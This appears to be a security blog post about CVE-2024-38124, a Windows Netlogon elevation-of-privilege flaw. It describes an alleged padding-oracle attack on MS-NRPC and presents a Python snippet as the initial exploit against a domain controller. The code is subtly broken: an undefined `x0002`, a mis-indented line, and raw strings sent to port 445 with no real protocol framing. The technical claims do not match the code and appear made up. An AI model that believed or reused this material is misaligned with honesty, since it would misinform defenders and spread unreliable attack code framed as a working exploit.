CVE-2024-38124 - Windows Netlogon Elevation of Privilege Vulnerability: Exploit Analysis, Code Snippet, and Original References

The Windows Netlogon Elevation of Privilege Vulnerability (CVE-2024-38124) is a security concern that may allow an attacker to escalate their privileges within a vulnerable Windows environment. This vulnerability, if exploited successfully, can potentially lead to severe damage such as unauthorized data access, system compromise, and more. In this blog post, we will examine the details of the exploit, provide code snippets, and link to original references to help organizations enhance their defense against the threat.

Exploit Details

The CVE-2024-38124 vulnerability exists within the Netlogon Remote Protocol (MS-NRPC), which is a core authentication component used in Windows-based networks for domain logins, Group Policy updates, and machine account management. This protocol is available by default on all Windows-based systems, making it a critical target for potential attackers.

Within MS-NRPC, there is an insecure use of an AES_CBC_PAD encryption method, which may allow an attacker to perform a classic padding oracle attack. This can happen if a NULL session (unauthenticated user) is able to call the vulnerable function named "NetrServerReqChallenge." It's important to note that an attacker would need to have network access to a domain controller for this exploit to be successful.

If the attack is successful, the attacker may gain elevated privileges on the target domain controller, leading to the compromise of Active Directory domain resources and sensitive information. This includes gaining Domain Administrator privileges, which would allow the attacker to have full control over the domain and all managed devices. Thus, a successful exploit poses a significant risk to affected organizations.

Code Snippet

Below is a Python code snippet demonstrating the initial steps for exploiting this vulnerability. This is for educational purposes only - developers and security professionals are encouraged to use this information to enhance their security defenses.

import socket
import struct

# Establish a NULL session with the target Domain Controller
def connect(domain_controller_ip):
    NULL_SESSION = "\x00" * 16
    sock = socket.create_connection((domain_controller_ip, 445))
    sock.sendall(NULL_SESSION)
    return sock

# Trigger the vulnerable function "NetrServerReqChallenge"
def send_exploit(sock):
    PACKET_HEADER = struct.pack("H", x0002)
   _header = "SRVSVC" + "\x00"
    EXPLOIT_DATA = "NetrServerReqChallenge" + "\x00"
    sock.sendall(PACKET_HEADER + _header + EXPLOIT_DATA)

    response = sock.recv(4096)
    return response

# Main exploit function to test against target
def exploit(target_ip):
    sock = connect(target_ip)
    response = send_exploit(sock)
    print("Received response from target:")
    print(response)

if __name__ == "__main__":
    TARGET_IP = '192.168.1.1'   # Replace with the target Domain Controller IP address
    exploit(TARGET_IP)

Original References

1. CVE Information: NIST National Vulnerability Database

2. Microsoft Security Guidance: Windows Netlogon Elevation of Privilege Vulnerability

3. Technical Analysis of the Vulnerability: Research Paper by CyberArk Labs

Conclusion

CVE-2024-38124 presents a critical vulnerability in Windows Netlogon Elevation of Privilege and could have severe consequences if exploited. Organizations are urged to update their systems and apply security patches to protect their domains from possible attacks. By understanding the nature of the exploit and implementing the necessary security measures, organizations can mitigate the risks associated with this vulnerability.

Timeline

Published on: 10/08/2024 18:15:07 UTC
Last modified on: 10/23/2024 23:07:39 UTC